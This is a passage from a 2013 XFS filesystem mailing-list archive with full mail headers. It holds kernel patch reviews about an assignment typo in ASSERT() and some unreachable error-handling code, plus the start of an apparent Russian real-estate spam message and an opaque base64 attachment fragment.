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 Aygj0pQTYzRYIo0tLrpHYp+6xD17AEAHAA== ------=_NextPart_000_05F7_01CEAF4D.D01AE850-- From dchinner@redhat.com Wed Sep 11 17:29:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=DATE_IN_PAST_12_24 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 165897F37 for ; Wed, 11 Sep 2013 17:29:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D6EAF304048 for ; Wed, 11 Sep 2013 15:29:54 -0700 (PDT) X-ASG-Debug-ID: 1378938593-04bdf02f23f71eb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id tbPGHmssCySIS6Lt; Wed, 11 Sep 2013 15:29:54 -0700 (PDT) X-Barracuda-Envelope-From: dchinner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8BMTpUM016783 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Sep 2013 18:29:51 -0400 Received: from devil.localdomain (ovpn-113-44.phx2.redhat.com [10.3.113.44]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r8BMTkxB013000 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Sep 2013 18:29:50 -0400 Received: from dchinner by devil.localdomain with local (Exim 4.76) (envelope-from ) id 1VJZq1-0000uk-I3; Wed, 11 Sep 2013 12:07:25 +1000 Date: Wed, 11 Sep 2013 12:07:25 +1000 From: Dave Chinner To: Dan Carpenter Cc: Ben Myers , Alex Elder , xfs@oss.sgi.com, kernel-janitors@vger.kernel.org Subject: Re: [patch] xfs: = vs == typo in ASSERT() Message-ID: <20130911020725.GE2445@devil.localdomain> X-ASG-Orig-Subj: Re: [patch] xfs: = vs == typo in ASSERT() References: <20130911211731.GA10527@elgon.mountain> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130911211731.GA10527@elgon.mountain> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378938593 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Sep 12, 2013 at 12:17:31AM +0300, Dan Carpenter wrote: > There is a '=' vs '==' typo so the ASSERT()s are always true. > > Signed-off-by: Dan Carpenter > --- > Introduced in 21b5c9784b ('xfs: swap extents operations for CRC > filesystems') > > diff --git a/fs/xfs/xfs_bmap_btree.c b/fs/xfs/xfs_bmap_btree.c > index 531b020..bb8de8e 100644 > --- a/fs/xfs/xfs_bmap_btree.c > +++ b/fs/xfs/xfs_bmap_btree.c > @@ -957,9 +957,9 @@ xfs_bmbt_change_owner( > ASSERT(tp || buffer_list); > ASSERT(!(tp && buffer_list)); > if (whichfork == XFS_DATA_FORK) > - ASSERT(ip->i_d.di_format = XFS_DINODE_FMT_BTREE); > + ASSERT(ip->i_d.di_format == XFS_DINODE_FMT_BTREE); > else > - ASSERT(ip->i_d.di_aformat = XFS_DINODE_FMT_BTREE); > + ASSERT(ip->i_d.di_aformat == XFS_DINODE_FMT_BTREE); > Eek! Well, actually, it's harmless, because the only callers of that function do so after checking that ip->i_d.di_format == XFS_DINODE_FMT_BTREE. So, the fix is definitely needed, but it's not as bad as it looks. Reviewed-by: Dave Chinner Thanks, Dan. Cheers, Dave. -- Dave Chinner dchinner@redhat.com From dchinner@redhat.com Wed Sep 11 17:40:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=DATE_IN_PAST_12_24 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5530F7F37 for ; Wed, 11 Sep 2013 17:40:53 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D4B46AC005 for ; Wed, 11 Sep 2013 15:40:52 -0700 (PDT) X-ASG-Debug-ID: 1378939251-04cb6c153df398b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id gHq2F1PTVFfNov7J for ; Wed, 11 Sep 2013 15:40:51 -0700 (PDT) X-Barracuda-Envelope-From: dchinner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8BMenra026360 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Sep 2013 18:40:49 -0400 Received: from devil.localdomain (ovpn-113-44.phx2.redhat.com [10.3.113.44]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8BMeisO014590 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Sep 2013 18:40:48 -0400 Received: from dchinner by devil.localdomain with local (Exim 4.76) (envelope-from ) id 1VJa1h-0000wl-7J; Wed, 11 Sep 2013 12:19:29 +1000 Date: Wed, 11 Sep 2013 12:19:29 +1000 From: Dave Chinner To: Dan Carpenter Cc: xfs@oss.sgi.com, mtinguely@sgi.com Subject: Re: xfs: recovery of swap extents operations for CRC filesystems Message-ID: <20130911021929.GF2445@devil.localdomain> X-ASG-Orig-Subj: Re: xfs: recovery of swap extents operations for CRC filesystems References: <20130911211819.GB10527@elgon.mountain> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130911211819.GB10527@elgon.mountain> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378939251 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Sep 12, 2013 at 12:18:19AM +0300, Dan Carpenter wrote: > Hello Dave Chinner, > > The patch 638f44163d57: "xfs: recovery of swap extents operations for > CRC filesystems" from Aug 30, 2013, leads to the following > static checker warning: "fs/xfs/xfs_log_recover.c:2999 > xlog_recover_inode_pass2() > info: ignoring unreachable code." > > fs/xfs/xfs_log_recover.c > 2992 out_release: > 2993 xfs_buf_relse(bp); > 2994 error: > 2995 if (need_free) > 2996 kmem_free(in_f); > 2997 return XFS_ERROR(error); > ^^^^^^^^^^^^^^^^^^^^^^^ > 2998 > 2999 xfs_buf_relse(bp); > 3000 goto error; > > These two added lines are unreachable. Sometimes people add dead code > for later, so this might be intentional. It's not clear. It's dead code. I reworked the error handling of the function and didn't clean up all the mess. Mark, I'm away from my upstream dev environment until next week - can you send a followup patch to fix this? Cheers, Dave. -- Dave Chinner dchinner@redhat.com From tinguely@sgi.com Wed Sep 11 17:44:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9EE287F37 for ; Wed, 11 Sep 2013 17:44:47 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 750CC8F8040; Wed, 11 Sep 2013 15:44:44 -0700 (PDT) Message-ID: <5230F25B.2030806@sgi.com> Date: Wed, 11 Sep 2013 17:44:43 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: Dan Carpenter , tinguely@sgi.com, xfs@oss.sgi.com Subject: Re: xfs: recovery of swap extents operations for CRC filesystems References: <20130911211819.GB10527@elgon.mountain> <20130911021929.GF2445@devil.localdomain> In-Reply-To: <20130911021929.GF2445@devil.localdomain> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/10/13 21:19, Dave Chinner wrote: > On Thu, Sep 12, 2013 at 12:18:19AM +0300, Dan Carpenter wrote: >> Hello Dave Chinner, >> >> The patch 638f44163d57: "xfs: recovery of swap extents operations for >> CRC filesystems" from Aug 30, 2013, leads to the following >> static checker warning: "fs/xfs/xfs_log_recover.c:2999 >> xlog_recover_inode_pass2() >> info: ignoring unreachable code." >> >> fs/xfs/xfs_log_recover.c >> 2992 out_release: >> 2993 xfs_buf_relse(bp); >> 2994 error: >> 2995 if (need_free) >> 2996 kmem_free(in_f); >> 2997 return XFS_ERROR(error); >> ^^^^^^^^^^^^^^^^^^^^^^^ >> 2998 >> 2999 xfs_buf_relse(bp); >> 3000 goto error; >> >> These two added lines are unreachable. Sometimes people add dead code >> for later, so this might be intentional. It's not clear. > > It's dead code. I reworked the error handling of the function and > didn't clean up all the mess. > > Mark, I'm away from my upstream dev environment until next week - > can you send a followup patch to fix this? > > Cheers, > > Dave. sure. I should have caught it in review. --Mark. From sku2603@skagway.com Wed Sep 11 23:15:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 93A3E7CBF for ; Wed, 11 Sep 2013 23:15:47 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 48D9D304032 for ; Wed, 11 Sep 2013 21:15:44 -0700 (PDT) X-ASG-Debug-ID: 1378959340-04bdf02f21f855c0001-NocioJ Received: from srv.webexpert.ru (srv.webexpert.ru [188.65.209.112]) by cuda.sgi.com with ESMTP id RLxWedx7fPh8D6bC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Sep 2013 21:15:42 -0700 (PDT) X-Barracuda-Envelope-From: sku2603@skagway.com X-Barracuda-Apparent-Source-IP: 188.65.209.112 Received: from [86.123.14.10] (helo=Unknown) by srv.webexpert.ru with esmtpa (Exim 4.76) (envelope-from ) id 1VJyJe-0001iJ-9j; Thu, 12 Sep 2013 08:15:40 +0400 Message-ID: Reply-To: =?windows-1251?B?4uXk8/no6SDo7ebl7eXwIO7y5OXr4CDo7PP5?= =?windows-1251?B?5fHy4uA=?= From: =?windows-1251?B?4uXk8/no6SDo7ebl7eXwIO7y5OXr4CDo7PP5?= =?windows-1251?B?5fHy4uA=?= To: , , , Subject: =?windows-1251?B?z/Dg4ujr4CDn5ezr5e7y4u7k4A==?= Date: Thu, 12 Sep 2013 06:16:03 +0200 X-ASG-Orig-Subj: =?windows-1251?B?z/Dg4ujr4CDn5ezr5e7y4u7k4A==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_261F_01CEAF7F.8F2F9250" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-Barracuda-Connect: srv.webexpert.ru[188.65.209.112] X-Barracuda-Start-Time: 1378959341 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140540 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_261F_01CEAF7F.8F2F9250 Content-Type: multipart/alternative; boundary="----=_NextPart_001_2620_01CEAF7F.8F2F9250" ------=_NextPart_001_2620_01CEAF7F.8F2F9250 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable "=CE=E1=FA=E5=EA=F2=FB =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8: =F0=E5=E3=E8= =F1=F2=F0=E0=F6=E8=FF, =EA=E0=E4=E0=F1=F2=F0, =EE=F4=EE=F0=EC=EB=E5=ED=E8= =E5 =EF=F0=E0=E2." =CF=EE=E4=F2=E2=E5=F0=E6=E4=E5=ED=ED=EE=E5 =EF=F0=E0=E2=EE =ED=E0 =EE=E1=FA= =E5=EA=F2 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8 =E2=EE=E7=ED=E8=EA=E0=E5=F2= =F1 =EC=EE=EC=E5=ED=F2=E0 =E3=EE=F1. =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=E8. = =CA=E0=EA=E8=EC =EE=E1=F0=E0=E7=EE=EC 